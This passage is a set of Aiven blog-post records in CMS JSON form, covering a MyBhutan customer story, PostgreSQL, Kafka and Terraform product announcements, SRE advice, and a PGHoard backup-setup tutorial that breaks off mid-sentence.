2003.\n\n![MyBhutan-Customer-Story-Img-4](//cdn.sanity.io/images/sczeoy4w/production/8b2002271eac2d80c29037a9c444abbfa4d9e8aa-1000x667.jpg)\n\n_Figure 1: Religious festivals (tsechus) offer a unique cultural insight into the kingdom_\n\nDespite its traditional latecomer status, Bhutan has experienced a rapid growth in technology over the past ten years, leapfrogging other countries that committed to technological development well before Bhutan even first turned on its internet.\n\n#### Why has Bhutan's technological growth been so successful?\n\nAfter a peaceful transition to constitutional democracy in 2008, Bhutan began to take greater interest in developing new business opportunities with the outside world. Bhutan began to work alongside a handful of outsiders whom they trusted would help to develop the kingdom on the global stage while also supporting their primary interest of bringing happiness to its people, including the American businessman Matthew DeSantis. After DeSantis spent a number of years advising the government on systems development and policy, he started [MyBhutan](https://mybhutan.com/) and [Beyul Labs](https://beyul.com/).\n\nThe most important industry was — and still is — tourism, employing over 20% of its labor force. Both MyBhutan and Beyul are heavily involved in tourism. The industry previously faced two main challenges which these businesses developed solutions to resolve. First, international customers had trouble finding reliable and accurate information about Bhutan travel online. Second, there was no easy way to directly arrange travel plans and services. This double whammy meant tourists were often unable to discover the joys of Bhutan. And even the persistent travelers who did faced additional issues in hiring their tour operator, receiving their visas, booking their airlines and lodging, hiring a guide, coordinating meals, and arranging a driver and vehicle. For the Bhutanese business, there was limited ability to generate web presence and there was a dropoff on customer transactions due to not having Bhutan-specific business solutions or CRM tools that could handle the complexities of the country’s unique tourism requirements. They also needed a secure, reliable method of receiving payments internationally.\n\nWe spoke with DeSantis, the founder and CEO of both MyBhutan and Beyul Labs, to learn why his companies chose to partner with Aiven to resolve these issues. We focused the conversation specifically on MyBhutan.\n\n### Rising to the challenge with Aiven\nDue to the limited infrastructure in the country, MyBhutan focused on cloud-based technologies to support system performance. The company started with a self-managed DigitalOcean database, but was soon spending too much time maintaining it and fixing performance issues. \nThey then switched to [Aiven for PostgreSQL](https://aiven.io/postgresql) because it was a managed solution, and have been very happy with the change. \n\nAs DeSantis explains, “Aiven was an ideal database as a service solution for us. Specifically, Aiven’s managed Postgres database was very attractive for our main use case - storing all of our travel and tourism related data. Aiven’s simple and intuitive UI makes it easy to set up and configure databases and with one click of a button we can roll back, upgrade, and scale our instances. We’ve saved countless hours of time and money that otherwise would have been spent on supporting our infrastructure and likely a larger team to do so.”\n\nMyBhutan also has high scalability needs. It has been building a robust dataset spanning 8 years and covering the entirety of the country’s districts and its businesses. It adds up to a lot of data over time. DeSantis says, “Aiven’s cloud-native data infrastructure gave us the ability to upgrade our resource configurations of storage and compute on an as-needed basis. Scaling is initiated by us and happens automatically in the background, with no downtime or interruption to the MyBhutan application.” An important added bonus is that the company only pays for what it needs, as Aiven’s scalable solution does not need overprovisioning.\n\nAiven can also accommodate requests from many different types of users, not just Bhutanese businesses. To serve the needs of the tourist industry, the service has to be responsive and reliable to international customers worldwide, most heavily in the US, Europe, India and China.\n\n![MyBhutan-Customer-Story-Img-1](//cdn.sanity.io/images/sczeoy4w/production/19354aba03a44a210c7b1cf5c2c02a0d9db6ac3b-1000x625.jpg)\n\n_Figure 2: A guest overlooks Taba valley from Tango Buddhist Institute in Thimphu, Bhutan_\n\nEco-friendliness is very important for both Bhutan and MyBhutan; it is in fact one of the main metrics the country uses to measure its success. The fact that Aiven uses renewable energy sources to power its servers is a clear sign of a shared, environmental philosophy.\n\nAiven also keeps the wheels of business turning without downtime and maintenance breaks. Asked about Aiven’s service reliability, DeSantis calls it “exceptional” and notes that Aiven has kept their promise of [99.99% uptime](https://aiven.io/sla). That is key for MyBhutan, whose customers rely on online communication and sales.\n\nAnd finally, the MyBhutan team has been impressed with the service and support offered by Aiven. According to DeSantis, Aiven’s team is friendly, responsive and effective in responding to questions and requests. \n\n### Going forward with Aiven\nThe Bhutanese are honest and creative people, as well as very well educated. From this perspective, there is great opportunity for the country to develop valued resources for the global skilled service sector; such as hospitality, consulting, computer software development, and customer support outsourcing. In order to generate business internationally, they need technology solutions that perform at the level of excellence that the Bhutanese do with their skilled services.\n\nDeSantis and his team are looking forward to continuing to develop solutions with Aiven that create an even better future for the Bhutanese people and the country’s unique culture and nature. “Aiven’s competency and reliability and dedication to open source has allowed us to easily support multiple applications with this open source database,” says DeSantis.\n\n![MyBhutan-Customer-Story-Img-5](//cdn.sanity.io/images/sczeoy4w/production/4bbc6d2bee091249973271bb159af973dca67b0b-1000x667.jpg)\n\n_Figure 3: Bhutan is one of the happiest (and safest) places on earth._\n\n“We need trusted partners who we can not only rely on for the health of our business, but also for the overall well-being of a nation. Aiven has clearly become an essential one.”\n\nTo learn about more customer stories and case studies, make sure to follow our blog or check out our [case studies page](https://aiven.io/case-studies). Stay up-to-date with product updates, as well as new services by subscribing to our [changelog](https://aiven.io/changelog/feed.xml) and [blog](https://aiven.io/blog/feed.xml) RSS feeds, or follow us on [LinkedIn](https://www.linkedin.com/company/aiven/) or [Twitter](https://twitter.com/aiven_io).","categories":[{"_key":"1vrpqSQEi7vREEAlHVVpOG","_ref":"1vrpqSQEi7vREEAlHVVpOG","_type":"reference"},{"_key":"6FWlUxDXERbtNrYX2asRv6","_ref":"6FWlUxDXERbtNrYX2asRv6","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-ce30aaee6c41618e092fefe517caf41192932e1a-1567x844-png","_type":"reference"}},"publishedAt":"2020-10-14T00:00:00.000Z","seo":{"metaDescription":"In our first ever customer story, MyBhutan’s co-founder Matthew DeSantis shares with us how Aiven is contributing to the Kingdom of Bhutan’s development.","metaImage":{"alt":"","asset":{"_ref":"image-ce30aaee6c41618e092fefe517caf41192932e1a-1567x844-png","_type":"reference"}},"metaTitle":"Aiven enhances happiness in the Himalayas [Customer Story]"},"slug":{"_type":"slug","current":"/blog/mybhutan-and-aiven-customer-story"},"subtitle":"In our first ever customer story, MyBhutan’s co-founder Matthew DeSantis shares with us how Aiven is contributing to the Kingdom of Bhutan’s development.","title":"Aiven enhances happiness in the Himalayas"}
{"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:36Z","_id":"5z8jY2MiXpgtfEWz64LUAD","_rev":"cEPH2uRN58AU2lp9QO7oQj","_type":"post","_updatedAt":"2022-09-08T16:19:41Z","authors":[{"_key":"7JA4OvuGiIBppdAjKtCxYN","_ref":"7JA4OvuGiIBppdAjKtCxYN","_type":"reference"}],"body":"We've been getting feedback from people wanting to try out our service on a trial basis and we've decided to automatically give all new users free trial credits.\n\nNew users will automatically get US$10 worth of free credits to try our database services. We also no longer require a credit card to be put on file before letting you spin up your own databases.\n\n![](//cdn.sanity.io/images/sczeoy4w/production/d4086f919159ba1c657348bef212e4a4c7d6fd48-400x269.png)\n\nBilling and credits view in the Aiven Console\n\nThese user credits will allow you to try our hobbyist level plans for roughly two weeks (or longer if you power off your instances when you don't need them.)\n\nAfter your credits have been used up your database will stay up and running if you have added your credit card to the service. Otherwise we'll automatically power down your database when the credits run out but you can restore it by just entering card details.\n\nNote that you can use these credits for any plan type meaning you can even try out our more powerful business or premium plans if you'd like.\n\nWe hope these changes will make it easier for you to try out our highly performant, highly available next generation database services. So, what are you waiting for? [Sign up now to for a free trial!](https://console.aiven.io/signup)\n","categories":[],"mainImage":{"alt":"","asset":{"_ref":"image-6ddf5ab7ac7e21c75d22768bae8a1ac5e8ae4b23-2500x1308-png","_type":"reference"}},"publishedAt":"2016-02-18T17:22:00.002Z","seo":{"metaDescription":"Try before you buy is imperative in SaaS, which is why we’re offering a no commitment trial for our PostgreSQL service. Find out the details here.","metaImage":{"alt":"","asset":{"_ref":"image-6ddf5ab7ac7e21c75d22768bae8a1ac5e8ae4b23-2500x1308-png","_type":"reference"}},"metaTitle":"Try Aiven for PostgreSQL® for free"},"slug":{"_type":"slug","current":"/blog/try-aiven-postgresql-for-free"},"subtitle":"Try before you buy is imperative in SaaS, which is why we’re offering a no commitment trial for our PostgreSQL service. Find out the details here.","title":"Try Aiven for PostgreSQL® for free"}
{"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:36Z","_id":"5zWKp0rhzV1I4NDDIPRdh0","_rev":"WyoSK86ArQOsLFCpeU22Hn","_type":"post","_updatedAt":"2023-03-14T13:52:22Z","authors":[{"_key":"LFe7wYXE7xFFvwFXOIwwX","_ref":"LFe7wYXE7xFFvwFXOIwwX","_type":"reference"}],"body":"The Aiven platform is built around giving you the ability to refocus on your core business. By giving you the tools to increase your operational efficiency, you have the extra time and money to focus on developing the apps that actually drive your business.\n\nThat is precisely why **we’re now supporting Terraform**. Before we supported Terraform, you could configure and manage your Aiven Infrastructure through our console UI, REST API, or CLI; and, they work for most use cases.\n\nBut, there are cases where Terraform is the better option. In this post, we’ll cover what Terraform is, when it’s most useful, and provide a link to our implementation documentation so that you can do so if it makes sense for you.\n\n### What Terraform is\n\nIn short, Terraform is open-source, infrastructure as code tooling. By using Terraform, you can build, configure and manage your Aiven services with greater efficiency. There are three major features available when using infrastructure as code:\n\n1. Version control\n2. Comprehensive documentation of all resources and their state\n3. Reproducibility and automation\n\nVersion control provides an extra layer of predictability when making changes to the underlying infrastructure driving your apps, helping to ensure that any changes you make won’t inadvertently crash your apps.\n\n\u003e This is especially true as your infrastructure grows in complexity to support greater workloads.\n\nYou’ll also want to automate as much of your manual work as possible. Maybe you want to test an instance in a new cloud or region, or maybe you want to connect your app to a current instance. Either way, you can increase your team’s efficiency with Terraform.\n\n### When Terraform is most useful\n\nAs touched on above, Terraform tooling is ideal for coordinating large, complex infrastructure and connecting pieces of your infrastructure in a reproducible, semi-automated way. This is essential when operating in today’s multi-cloud, multi-region environment.\n\nThere is also an obvious, third case: when you’re already using Terraform tooling to manage your infrastructure. If that’s you, you’d want to incorporate most, if not all of your infrastructure components to make your workflows as seamless as possible.\n\n### Wrapping up\n\nWe are very excited to provide Terraform as a fourth option to configure and manage your Aiven database infrastructure. If you aren’t using it already, you can find more information about it at [Terraform’s official site](https://www.terraform.io/intro/index.html).\n\nAlready using Terraform and want to know how to begin managing your Aiven resources with your Terraform tooling? You can read our [Aiven Terraform Integration](https://help.aiven.io/en/articles/2370350-aiven-terraform-integration) documentation to get started immediately.\n\nOur Terraform integration is a key example of our engineering team’s consideration of your feedback—it is heard. So, continue giving it! In the meantime, subscribe to our [changelog](https://aiven.io/changelog/feed.xml) and [blog](https://aiven.io/blog/feed.xml) RSS feeds, and follow us on [Linkedin](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io).\n","categories":[{"_key":"ksykM2RWxnnen4wmbNFR6","_ref":"ksykM2RWxnnen4wmbNFR6","_type":"reference"},{"_key":"6CI2flR8OpeiqtSCkEmG7Z","_ref":"6CI2flR8OpeiqtSCkEmG7Z","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-87d8cd6d88f192eda101ca59c914ba91e87add81-752x405-png","_type":"reference"}},"publishedAt":"2018-10-03T00:00:00.000Z","seo":{"metaDescription":"The Aiven platform now supports Terraform, a fourth way to manage your Aiven infrastructure. Read this post to find out more.","metaImage":{"alt":"","asset":{"_ref":"image-87d8cd6d88f192eda101ca59c914ba91e87add81-752x405-png","_type":"reference"}},"metaTitle":"Reduce your Aiven infrastructure complexity with Terraform"},"slug":{"_type":"slug","current":"/blog/reduce-your-aiven-infrastructure-complexity-with-terraform"},"subtitle":"The Aiven platform now supports Terraform, a fourth way to manage your Aiven infrastructure. Read this post to find out more.","title":"Reduce your Aiven infrastructure complexity with Terraform"}
{"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:36Z","_id":"6ZC2mBH5faaDrnTsGOl3tT","_rev":"cEPH2uRN58AU2lp9QO7mgL","_type":"post","_updatedAt":"2022-09-08T16:19:13Z","authors":[{"_key":"5X56DMMpbvqaUWfT7pf8Bi","_ref":"5X56DMMpbvqaUWfT7pf8Bi","_type":"reference"}],"body":"We've just launched the new **64**, **120** and **160** style PostgreSQL plans in multiple clouds. These new plans allow you to run larger and larger PostgreSQL instances in the cloud. The new plans are available in our Startup, Business and Premium flavors supporting various levels of high-availability. The number after the plan flavor designates the RAM available for database in use in the plan. CPU count and storage also grow with larger plans giving you more resources to run your transactions. Let's check out some of the specs:\n\n- Up to 32 CPUs,\n- 160 GB RAM,\n- and 1.6 TB disk.\n\nAll of the new plans are available in both Amazon Web Services and Google Cloud, and the **64** and **120** plans are also available in UpCloud. We hope we can offer bigger plans in DigitalOcean in the near future as well.\n\nThe pricing for our new plans is available on our **[PostgreSQL service page](https://aiven.io/postgresql#pricing)**.  Remember that trying out Aiven is free, you'll receive US$10 free credits on sign up which allows you to run one of our huge new plans for some hours, or a small instance for a couple of weeks.\n","categories":[{"_key":"ksykM2RWxnnen4wmbNFR6","_ref":"ksykM2RWxnnen4wmbNFR6","_type":"reference"},{"_key":"1vrpqSQEi7vREEAlHVVpOG","_ref":"1vrpqSQEi7vREEAlHVVpOG","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-1335e1a409ae973cc1e54e9ef2d7025fa306603e-2500x1308-png","_type":"reference"}},"publishedAt":"2016-06-16T21:25:00.001Z","seo":{"metaDescription":"Our bread and butter is PostgreSQL, which is why we continue to add bigger and better plans to Aiven. Find out the latest plan options here.","metaImage":{"alt":"","asset":{"_ref":"image-1335e1a409ae973cc1e54e9ef2d7025fa306603e-2500x1308-png","_type":"reference"}},"metaTitle":"Even bigger PostgreSQL® plans now available"},"slug":{"_type":"slug","current":"/blog/postgresql-plans-64-120-160-available"},"subtitle":"Our bread and butter is PostgreSQL, which is why we continue to add bigger and better plans to Aiven. Find out the latest plan options here.","title":"Even bigger PostgreSQL® plans now available"}
{"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:36Z","_id":"6akdrHsSYnuCnnQNgT9Ju8","_rev":"QRl2cGoCgj0FlAhkRrhkJT","_type":"post","_updatedAt":"2022-09-08T16:19:11Z","authors":[{"_key":"7JA4OvuGiIBppdAjKtCxYN","_ref":"7JA4OvuGiIBppdAjKtCxYN","_type":"reference"}],"body":"In a world filled with microservices we're delighted to announce yet another expansion of the Aiven service portfolio in the form of [Aiven Kafka](https://aiven.io/kafka). Aiven Kafka adds streaming data capabilities in the form of a distributed commit log. For the last three months we've been offering [Apache Kafka](http://kafka.apache.org/) in private beta and now we're making it publicly available!\n\nAiven Kafka is a service that can be used to ingest and read back large quantities of log event data. This allows you to write your whole event stream durably in a fire hose like fashion and then process it at your leisure. Kafka is being used in [some of the largest companies](https://cwiki.apache.org/confluence/display/KAFKA/Powered+By) on the planet for many mission-critical workloads. Besides using it for streaming data you can also use it as a message broker connecting your myriad services with each other.\n\nHistorically Kafka itself and especially its reliance on [Apache ZooKeeper](https://zookeeper.apache.org/) has made its setup require considerable time and effort and requiring skilled staff to maintain and operate it. Aiven Kafka is now making it trivially easy to have your own managed Kafka cluster.\n\n### The easy streaming log service for your microservices\n\nOur [Web Console](https://console.aiven.io/) allows you to launch Aiven Kafka in any of our supported clouds and regions with a couple of clicks. All Aiven services are available in all Amazon Web Services, Google Cloud, DigitalOcean and UpCloud regions allowing you to launch services near you in minutes.\n\n![](//cdn.sanity.io/images/sczeoy4w/production/7c19eef16164078149ca6abef56d9c33e78a5ab0-640x298.png)\n\nAiven Kafka is a first-class service in Aiven, meaning we'll take care of fault-tolerance, monitoring and maintenance operations on your behalf. In case you need to get more performance out of your Kafka cluster, you can simply expand your cluster by selecting a bigger plan and all your data will be automatically migrated to beefier nodes without any downtime.\n\n### Our startup Kafka plan\n\nIf you want to try out Kafka on a modestly powered three node cluster and don't need Kafka REST our Startup-2 plan will get you started. After getting started you can easily later upgrade to a larger plan if needed.\n\n*   **Startup-2**: 1 CPU, 2 GB RAM, 30 GB SSD at $200 / month ($0.274 / hour)\n\n### Our three node business Kafka plans\n\nOur [Business plans](https://aiven.io/kafka#comparison) are three node clusters which are deployed alongside Kafka REST to allow the use of HTTP REST calls for interacting with Kafka.\n\n*   **Business-4**: 1 CPU, 4 GB RAM, 200 GB SSD at $500 / month ($0.685 / hour)\n*   **Business-8**: 2 CPU, 8 GB RAM, 400 GB SSD at $1000 / month ($1.370 / hour)\n*   **Business-16**: 4 CPU, 16 GB RAM, 800 GB SSD at $2000 / month ($2.740 / hour)\n\n### Highly-available five node premium Kafka plans\n\nIf you want an even higher level of reliability and performance our [Premium Aiven Kafka plans](https://aiven.io/kafka#comparison) are made for this. They all come with five (or more for custom plans) Kafka broker nodes. \n\n*   **Premium-4**: 1 CPU, 4 GB RAM, 200 GB SSD at $800 / month ($1.096 / hour)\n*   **Premium-8**: 2 CPU, 8 GB RAM, 400 GB SSD at $1600 / month ($2.192 / hour)\n*   **Premium-16**: 4 CPU, 16 GB RAM, 800 GB SSD at $3200 / month ($4.384 / hour)\n\nAlso if you need to find larger or otherwise customized plans, please don't hesitate to contact us.\n\n### Trying Aiven is free, no credit card required\n\nRemember that trying Aiven is free: you will receive US$10 worth of free credits at sign-up which you can use to try any of our service plans.\n\nGo to [aiven.io](https://aiven.io/) to get started!\n\n### We value your feedback\n\nWe are always interested in ways of making our service better.  Please send your feedback and suggestions via\n[email](mailto:support@aiven.io), [Facebook](https://facebook.com/aivencloud),\n[LinkedIn](https://www.linkedin.com/company/aiven) or using our website's live chat.\n","categories":[{"_key":"ksykM2RWxnnen4wmbNFR6","_ref":"ksykM2RWxnnen4wmbNFR6","_type":"reference"},{"_key":"3DG5ZYx4kaoRquQmn345yY","_ref":"3DG5ZYx4kaoRquQmn345yY","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-1335e1a409ae973cc1e54e9ef2d7025fa306603e-2500x1308-png","_type":"reference"}},"publishedAt":"2016-07-13T11:33:00.000Z","seo":{"metaDescription":"Want open-source, vendor-neutral Apache Kafka? Look no further, Aiven Kafka is now available across 4 clouds. Find out the specifics here.","metaImage":{"alt":"","asset":{"_ref":"image-1335e1a409ae973cc1e54e9ef2d7025fa306603e-2500x1308-png","_type":"reference"}},"metaTitle":"Aiven for Apache Kafka now publicly available!"},"slug":{"_type":"slug","current":"/blog/aiven-kafka-now-publicly-available"},"subtitle":"Want open-source, vendor-neutral Apache Kafka? Look no further, Aiven Kafka is now available across 4 clouds. Find out the specifics here.","title":"Aiven for Apache Kafka now publicly available!"}
{"__i18n_lang":"en","_createdAt":"2022-06-30T20:11:24Z","_id":"6lGKFmwwPY4X8RmqIKf7tn","_rev":"tW7kMBSHIbCIaN9dzsDclT","_type":"post","_updatedAt":"2023-06-19T08:22:11Z","authors":[{"_key":"7aLlIDft447BvdfSDjeIdu","_ref":"7aLlIDft447BvdfSDjeIdu","_type":"reference"}],"body":"There's no right way to do SRE, but there _is_ a wrong way. Here [at Aiven we're getting SRE right](https://www.linkedin.com/posts/andy-grunwald-09aa265a_when-having-to-put-out-fires-that-result-activity-6923187225400627200-Dhn3 \"SRE at Aiven | Andy Grunwald on LinkedIn\"), because maintaining a stable environment is crucial for an infrastructure-as-a-service provider. That's why we wanted to spread the goodness and help any straying friends find the true path again. \n\nHere are some questions you can ask yourself and your teams to find out if your SRE game is on point.\n\n## 1. Are your SRE efforts in a silo?\nGood SRE comes from a working cooperation between developers and operations. If ops keeps dealing with the same issues again and again, clear the lines of communication between the teams and __find solutions at the source__.\n\n## 2. Are you measuring SRE success in uptime?\nMeasuring SRE success is a step in the right direction. However, don't just stare at uptime. Yes, it's what you're promising your customers, but it's not the whole story, and to reach those last two nines you need more.\n\nIn addition to uptime, make sure to track __availability and resilience__. After all, your environment may be up, but unreachable - what use is that for your customers? Then when things go haywire and the environment crashes, good resilience is what enables it to get back up again quickly.\n## 3. Is your SRE all about reacting to emergencies?\nIf you write \"how to do SRE\" in a search engine, it can tell you that SRE should not be reactive but PROactive. That's how much of a no-brainer it is. The reason your search engine knows about it, though, is that in many companies, it's *still* reactive. \n\nYour approach needs to be all about __continual improvement__. When a thing breaks once, make sure it doesn't break again.\n\nSRE is not an an ambulance service or even a hospital. It's more like the low-key, everyday health care service that your occupational nurse provides.\n\n## 4. Does your SRE take a lot of resources and effort?\nSRE won't run on empty, but it also doesn't need to break the bank. Invest in __automation and efficiency__, and watch the ROI mount up. \n\nRepetitive tasks and monitoring are things automation excels at, so be sure to use that to your advantage. Set up alerts; set up automatic processes for known vulnerabilities (unless of course you can just fix them!). \n## Wrapping up\nIf you want to run a stable environment, treat your SREs well, have a proper roadmap, enable cross-function communication and *automate everything*.\n\n--\n\nTo get the latest news about Aiven and our services, plus a bit of extra around all things open source, [subscribe to our monthly newsletter](https://aiven.io/newsletter)! Daily news about Aiven are available on our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) feeds.\n\nIf you just want to stay find out about our service updates, follow our [changelog](https://aiven.io/changelog). \n\nAre you're still looking for a managed data platform? Sign up for a free trial at [https://console.aiven.io/signup](https://console.aiven.io/signup \"Aiven free trial signup link\")!\n","categories":[{"_key":"1ErERmLUOz2onJX3MFydSX","_ref":"1ErERmLUOz2onJX3MFydSX","_type":"reference"}],"internalBlogProcess":"editorial","mainImage":{"alt":"","asset":{"_ref":"image-d95f479c563670154e2761f366c10a90101e6c36-3133x1688-png","_type":"reference"}},"publishedAt":"2022-06-29T00:00:00.000Z","seo":{"_type":"metaData","metaDescription":"Is your SRE game on point or are you doing it wrong? Ask yourself these four important questions to find out. Stay informed by reading this article!  ","metaImage":{"alt":"","asset":{"_ref":"image-d95f479c563670154e2761f366c10a90101e6c36-3133x1688-png","_type":"reference"}},"metaTitle":"Are you doing SRE wrong? 4 questions to ask"},"slug":{"_type":"slug","current":"/blog/are-you-doing-sre-wrong-4-questions-to-ask"},"subtitle":"SRE requires teamwork and planning. Be like Aiven, get it right.","title":"Are you doing SRE wrong? 4 questions to ask"}
{"__i18n_lang":"en","_createdAt":"2024-01-12T10:12:02Z","_id":"744c0688-e6eb-4410-9d43-3802217b181f","_rev":"E2EqFgH2t2FE0P1F1sYqYv","_type":"post","_updatedAt":"2024-02-27T15:25:39Z","authors":[{"_key":"c2f743515212","_ref":"5a16a911-c8fc-479c-8760-cb02d321aa7f","_type":"reference"}],"body":"Many Aiven for PostgreSQL® customers want to be at the forefront of innovation and ensure their developers have access to the latest database features that enhance their productivity and streamline their work. In support of this, Aiven now makes PostgreSQL® version 16 available. The new version comes with a set of enhancements that optimize performance and provide improved monitoring and security. These new features make workload management more efficient and secure and also contribute to an improved developer experience.\n\n## Release Highlights\n\n### Improved performance with better query planning and optimized bulk loading\n\nThis release incorporates query planner optimizations, [introducing parallelization](https://www.postgresql.org/docs/16/parallel-query.html) for `FULL` and `RIGHT` joins, optimized plans for [aggregate functions](https://www.postgresql.org/docs/16/functions-aggregate.html) with a `DISTINCT` or `ORDER BY` clause, incremental sorts for `SELECT DISTINCT` queries, and more efficient window function execution. `RIGHT` and `OUTER` “anti-joins” have been refined to facilitate the identification of missing rows. Additionally, bulk loading is optimized, achieving up to 300% performance gains with `COPY` in both single and concurrent operations. The update introduces [load balancing](https://www.postgresql.org/docs/16/libpq-connect.html#LIBPQ-CONNECT-LOAD-BALANCE-HOSTS) for `libpq` clients, optimizes the vacuum strategy, and utilizes CPU acceleration via `SIMD` for notable improvements in string processing, array operations, and subtransaction searches.\n\n### Enhanced replication\n\nPostgreSQL 16 introduces enhancements in replication for seamless data exchange between cluster nodes, improving high availability, scalability, and disaster recovery. Performance improvements include parallel transactions for subscribers and enhanced efficiency with B-tree indexes.\n\n### Enriched developer experience\n\nThis release enriches developer experience with [SQL/JSON](https://www.postgresql.org/docs/16/functions-json.html) syntax additions like `JSON_ARRAY()`, `JSON_ARRAYAGG()`, and `IS JSON`. Noteworthy features include using underscores for thousands separators and non-decimal integer literals. The update introduces `\\bind` in `psql` for parameterized queries and improves text collations with default ICU support.\n\n### Improved monitoring\n\nPostgreSQL 16 enhances performance tuning with key additions to monitoring capabilities. The introduction of `pg_stat_io` provides crucial I/O metrics for detailed analysis of access patterns. In the `pg_stat_all_tables` view, a new timestamp attribute, `last_seq_scan`, records the time of the last table scan. Similarly, `pg_stat_all_indexes` gains the `last_idx_scan` column, indicating the time of the last index scan. The `auto_explain` readability is improved by logging input values for parameterized statements automatically. Additionally, PostgreSQL 16 refines the query tracking algorithm in `pg_stat_statements` and `pg_stat_activity` for enhanced precision.\n\n### Strengthened security and access control\n\nThis release strengthens security with refined access control. The release adds `require_auth` for precise client-server authentication and `sslrootcert=\"system\"` for enhanced SSL/TLS security. Supporting Kerberos credential delegation ensures secure connections for extensions like `postgres_fdw` and `dblink`.\n\n\n## Get started with PostgreSQL® 16\n\nUpgrade today to PostgreSQL 16 to take advantage of the new features. \n\nIf you already use Aiven for PostgreSQL, you can run an [in-place upgrade](https://aiven.io/blog/postgresql-major-version-in-place-upgrades-supported-on-aiven) to migrate to the newest version. You can also easily test the upgrade first on a fork of the database to be upgraded.\n\nIf you are not yet using Aiven for PostgreSQL, [sign up here](https://console.aiven.io/signup) for a free trial.","categories":[{"_key":"5d056e3a8e1a","_ref":"9yQ4jxpUoNWbSOSWYlghM","_type":"reference"},{"_key":"d399e582ce3d","_ref":"1vrpqSQEi7vREEAlHVVpOG","_type":"reference"}],"internalBlogProcess":"product","mainImage":{"_type":"mainImage","asset":{"_ref":"image-5f162fc084bb084c2c794a661bfa11179037ee06-1567x844-png","_type":"reference"}},"publishedAt":"2024-01-18T08:50:45.838Z","related":[{"_key":"84ef433949a4","_ref":"145w1kDoj7UfbaINvzIOg9","_type":"reference"},{"_key":"f0c3e459c9bb","_ref":"5xYduY1JNWW2r0A65rR3iz","_type":"reference"}],"seo":{"_type":"metaData","metaDescription":"Aiven for PostgreSQL® adds support for major version 16. Find out what the key improvements are and how you can get the new version.","metaImage":{"_type":"mainImage","asset":{"_ref":"image-5f162fc084bb084c2c794a661bfa11179037ee06-1567x844-png","_type":"reference"}},"metaTitle":"Enhanced performance with PostgreSQL® 16"},"slug":{"_type":"slug","current":"/blog/enhanced-performance-with-postgresql-16"},"subtitle":"Aiven for PostgreSQL® adds support for major version 16. Find out what the key improvements are and how you can get the new version.","title":"Enhanced performance with PostgreSQL® 16"}
{"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:36Z","_id":"7CMHly4CQnNqml48ew34QB","_rev":"cEPH2uRN58AU2lp9QO7mll","_type":"post","_updatedAt":"2022-09-08T16:19:15Z","authors":[{"_key":"5X56DMMpbvqaUWfT7pf8Bi","_ref":"5X56DMMpbvqaUWfT7pf8Bi","_type":"reference"}],"body":"[**PGHoard**](https://github.com/aiven/pghoard) is the cloud backup and restore solution we're using in [**Aiven**](/). We started PGHoard development in early 2015 when the Aiven project was launched as a way to provide real-time streaming backups of PostgreSQL to a potentially untrusted cloud object storage.\n\nPGHoard has an extensible object storage interface, which currently works with the following cloud object stores:\n\n*   Amazon Web Services S3\n*   Google Cloud Storage\n*   OpenStack Swift\n*   Ceph's RADOSGW utilizing either the S3 or Swift drivers \n*   Microsoft Azure Storage (_currently experimental_)\n\n### Data integrity\n[PostgreSQL](https://aiven.io/postgresql \"Aiven for PostgreSQL\") backups consist of full database backups, _basebackups_, plus write ahead logs and related metadata, _WAL_. Both basebackups and WAL are required to create and restore a consistent database.\n\nPGHoard handles both the full, periodic backups [driving pg_basebackup](https://https://www.postgresql.org/docs/current/app-pgbasebackup.html)) as well as streaming the write-ahead-log of the database.  Constantly streaming WAL as it's generated allows PGHoard to restore a database to any point in time since the oldest basebackup was taken.  This is used to implement Aiven's Database Forks and Point-in-time-Recovery as described in our\n[PostgreSQL FAQ](https://help.aiven.io/en/articles/489573-getting-started-with-aiven-postgresql).\n\nTo save disk space and reduce the data that needs to be sent over the network (potentially incurring extra costs) backups are compressed by default using Google's [Snappy](https://github.com/google/snappy), a fast compression algorithm with a reasonable compression ratio. [LZMA](https://en.wikipedia.org/wiki/Lempel%E2%80%93Ziv%E2%80%93Markov_chain_algorithm) (a slower algorithm with very high compression ratio) is also supported.\n\nTo protect backups from unauthorized access and to ensure their integrity PGHoard can also transparently encrypt and authenticate the data using RSA, AES and SHA256.  Each basebackup and WAL segments gets a unique random AES key which is encrypted with RSA.  HMAC-SHA256 is used for file integrity checking.\n\n### Restoration is key\n\nAs noted in the opening paragraph, PGHoard is a backup and **_restore_** tool: backups are largely useless unless they can be restored.  Experience tells us that backups, even if set up at some point, are usually not restorable unless restore is routinely tested, but experience also shows that backup restoration is rarely practiced unless it's easy to do and automate.\n\nThis is why PGHoard also includes tooling to restore backups, allowing you to create new master or standby databases from the object store archives.  This makes it possible to set up a new database replica with a single command, which first restores the database basebackup from object storage and then sets up PostgreSQL's [recovery.conf](https://www.postgresql.org/docs/current/recovery-config.html) to fetch the remaining WAL files from the object storage archive and optionally connect to an existing master server after that.\n\n### Preparing PostgreSQL for PGHoard\n\nFirst, we will need to create a replication user account. We'll just use the psql command-line client for this:\n\n```\npostgres=# CREATE USER backup WITH REPLICATION PASSWORD 'secret';\nCREATE ROLE\n```\n\nWe also need to allow this new user to make connections to the database. In PostgreSQL this is done by editing the\n`pg_hba.conf` configuration file and adding a line something like this:\n\n```\nhost  replication  backup  127.0.0.1/32  md5\n```\n\nWe'll also need to ensure our PostgreSQL instance is configured to allow WAL replication out from the server and it has the appropriate wal_level setting. We'll edit\n`postgresql.conf` and edit or add the following settings:\n\n```\nmax_wal_senders = 2  # minimum two with pg_receivexlog mode!\nwal_level = archive  # 'hot_standby' or 'logical' are also ok.\n```\n\nFinally, since we have modified PostgreSQL configuration files, we'll need to restart PostgreSQL to take the new settings into use by running\n`pg_ctl restart`,\n`systemctl restart postgresql` or `service postgresql restart`, etc depending on the Linux distribution being used.  Note that it's not enough to \"reload\" PostgreSQL in case the WAL settings were changed.\n\nNow we are ready on the PostgreSQL side and can move on to PGHoard.\n\n### Installing PGHoard\n\nPGHoard's source distribution includes packaging scripts for Debian, Fedora and 